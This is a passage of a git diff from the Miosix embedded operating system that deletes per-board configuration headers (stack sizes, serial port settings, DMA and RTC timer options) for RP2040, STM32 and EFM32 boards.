\{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// RP2040 has 264KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerialSpeed=115200; -const bool defaultSerialFlowctrl=false; -// Uncomment to use UART 0 -#define DEFAULT_SERIAL_ID 0 -using uart_tx = Gpio; -using uart_rx = Gpio; -using uart_cts = Gpio; // Used only with flow control active -using uart_rts = Gpio; // Used only with flow control active -// Uncomment to use UART 1 -//#define DEFAULT_SERIAL_ID 1 -//using uart_tx = Gpio; -//using uart_rx = Gpio; -//using uart_cts = Gpio; // Used only with flow control active -//using uart_rts = Gpio; // Used only with flow control active - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/board_settings.h b/miosix/config/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/board_settings.h deleted file mode 100644 index c33728b15..000000000 --- a/miosix/config/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/board_settings.h +++ /dev/null @@ -1,59 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32L053 only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA -//#define SERIAL_2_DMA - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_efm32g/efm32g222f128_generic/board_settings.h b/miosix/config/arch/cortexM3_efm32g/efm32g222f128_generic/board_settings.h deleted file mode 100644 index 27cce0393..000000000 --- a/miosix/config/arch/cortexM3_efm32g/efm32g222f128_generic/board_settings.h +++ /dev/null @@ -1,54 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2023 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -const unsigned int MAIN_STACK_SIZE=2048; - -/// Serial port -const unsigned int defaultSerial=0; -const unsigned int defaultSerialSpeed=115200; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/board_settings.h b/miosix/config/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/board_settings.h deleted file mode 100644 index 8924c1f11..000000000 --- a/miosix/config/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/board_settings.h +++ /dev/null @@ -1,68 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -/** - * Select hardware revision (10=1.0, 11=1.1, ...). - * Different versions of the board were built, with minor differences in GPIO - * usage. Default is currently the latest one, which is v1.4 - */ -#define WANDSTEM_HW_REV 14 - -/** - * Disable FLOPSYNCVHT support in the board support package. - * Note that for best clock skew correction you should avoid entering the - * deep sleep state if you disable FLOSPYNCVHT - */ -// #define DISABLE_FLOPSYNCVHT - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -const unsigned int MAIN_STACK_SIZE=4096; - -/// Serial port -const unsigned int defaultSerial=0; -const unsigned int defaultSerialSpeed=115200; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f100c8_microboard/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f100c8_microboard/board_settings.h deleted file mode 100644 index aebfc80d2..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f100c8_microboard/board_settings.h +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F100C8 only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/board_settings.h deleted file mode 100644 index d0153af48..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/board_settings.h +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F100C8 only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=3; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -#define SERIAL_3_DMA - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/board_settings.h deleted file mode 100644 index 62d2cb67b..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/board_settings.h +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F100CB only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f100cx_generic/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f100cx_generic/board_settings.h deleted file mode 100644 index 89106d8b8..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f100cx_generic/board_settings.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=2048; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/board_settings.h deleted file mode 100644 index f04e13a24..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/board_settings.h +++ /dev/null @@ -1,73 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F100RB only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/board_settings.h deleted file mode 100644 index 2d338b0e8..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/board_settings.h +++ /dev/null @@ -1,73 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F100RB only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f103c8_breakout/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103c8_breakout/board_settings.h deleted file mode 100644 index 1eb9af7d6..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103c8_breakout/board_settings.h +++ /dev/null @@ -1,74 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011, 2012, 2013, 2014 by Terraneo Federico * - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F103C8 has 20KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/board_settings.h deleted file mode 100644 index aa1f50c00..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/board_settings.h +++ /dev/null @@ -1,73 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F103CB has 20KB of RAM so use a small 1.5K stack. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is used, but no DMA to save on code -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 3 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f103cx_generic/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103cx_generic/board_settings.h deleted file mode 100644 index 89106d8b8..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103cx_generic/board_settings.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=2048; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/board_settings.h deleted file mode 100644 index e32cb29df..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F103VE has 64KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V - -/** - * \} - */ - -} //namespace miosix diff --git 